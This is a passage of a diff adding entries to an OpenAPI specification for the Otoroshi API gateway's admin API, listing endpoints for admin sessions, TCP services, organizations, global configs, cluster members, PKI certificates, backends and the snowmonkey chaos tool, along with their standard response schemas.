: { + "application/json" : { + "schema" : { + "description" : "Resource of kind AdminSession", + "$ref" : "#/components/schemas/security.otoroshi.io.AdminSession" + } + } + } + } + } + }, + "delete" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Deletes a specific AdminSession using its id", + "operationId" : "security.otoroshi.io.AdminSession.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AdminSession" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/tcp-services" : { + "get" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Find all possible TcpService entities", + "operationId" : "proxy.otoroshi.io.TcpService.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "tcp-service", "proxy.otoroshi.io" ], + "summary" : "Creates a TcpService", + "operationId" : "proxy.otoroshi.io.TcpService.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.TcpService" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/organizations/_bulk" : { + "post" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Create multiple Organization at the same time", + "operationId" : "organize.otoroshi.io.Organization.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + }, + "put" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Update multiple Organization at the same time", + "operationId" : "organize.otoroshi.io.Organization.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Organization" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Organization at the same time", + "operationId" : "organize.otoroshi.io.Organization.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Delete multiple Organization at the same time", + "operationId" : "organize.otoroshi.io.Organization.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/cluster/state" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.readState", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/error-templates/_template" : { + "get" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind ErrorTemplate", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ErrorTemplate", + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + } + }, + "/apis/config.otoroshi.io/v1/global-configs/{id}" : { + "get" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Find resource of kind GlobalConfig by its id", + "operationId" : "config.otoroshi.io.GlobalConfig.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind GlobalConfig", + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + } + }, + "put" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Updates a specific GlobalConfig using its id", + "operationId" : "config.otoroshi.io.GlobalConfig.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + }, + "patch" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific GlobalConfig using its id", + "operationId" : "config.otoroshi.io.GlobalConfig.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + } + }, + "/apis/foo.extensions.otoroshi.io/v1/foos/_template" : { + "get" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Foo", + "operationId" : "foo.extensions.otoroshi.io.Foo.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Foo", + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + } + }, + "/api/import" : { + "post" : { + "tags" : [ "import-export" ], + "summary" : "Import the content of the otoroshi datastore (file)", + "operationId" : "otoroshi.controllers.adminapi.ImportExportController.fullImportFromFile", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalConfigImportBody" + } + } + } + } + } + }, + "/api/cluster/members" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.getClusterMembers", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "delete" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.clearClusterMembers", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admin-sessions" : { + "get" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Find all possible AdminSession entities", + "operationId" : "security.otoroshi.io.AdminSession.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AdminSession" + } + } + } + } + } + } + } + }, + "/api/pki/certs" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a self signed certificates", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genSelfSignedCert", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/backends" : { + "get" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Find all possible Backend entities", + "operationId" : "proxy.otoroshi.io.Backend.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Creates a Backend", + "operationId" : "proxy.otoroshi.io.Backend.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + }, + "/api/snowmonkey/_stop" : { + "post" : { + "tags" : [ "snowmonkey" ], + "summary" : "Stop the snowmonkey of all otoroshi instances", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.stopSnowMonkey", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Empty" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/organizations/_count" : { + "get" : { + "tags" : [ "organization", "organize.otoroshi.io" ], + "summary" : "Get number of entity of kind Organization", + "operationId" : "organize.otoroshi.io.Organization.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/foo.extensions.otoroshi.io/v1/foos/_bulk" : { + "post" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Create multiple Foo at the same time", + "operationId" : "foo.extensions.otoroshi.io.Foo.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + }, + "put" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Update multiple Foo at the same time", + "operationId" : "foo.extensions.otoroshi.io.Foo.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/foo.extensions.otoroshi.io.Foo" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Foo at the same time", + "operationId" : "foo.extensions.otoroshi.io.Foo.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "foo", "foo.extensions.otoroshi.io" ], + "summary" : "Delete multiple Foo at the same time", + "operationId" : "foo.extensions.otoroshi.io.Foo.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/snowmonkey/config" : { + "get" : { + "tags" : [ "snowmonkey" ], + "summary" : "Get the snowmonkey config", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.getSnowMonkeyConfig", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.models.SnowMonkeyConfig" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "put" : { + "tags" : [ "snowmonkey" ], + "summary" : "Updates the snowmonkey configuration", + "operationId" : 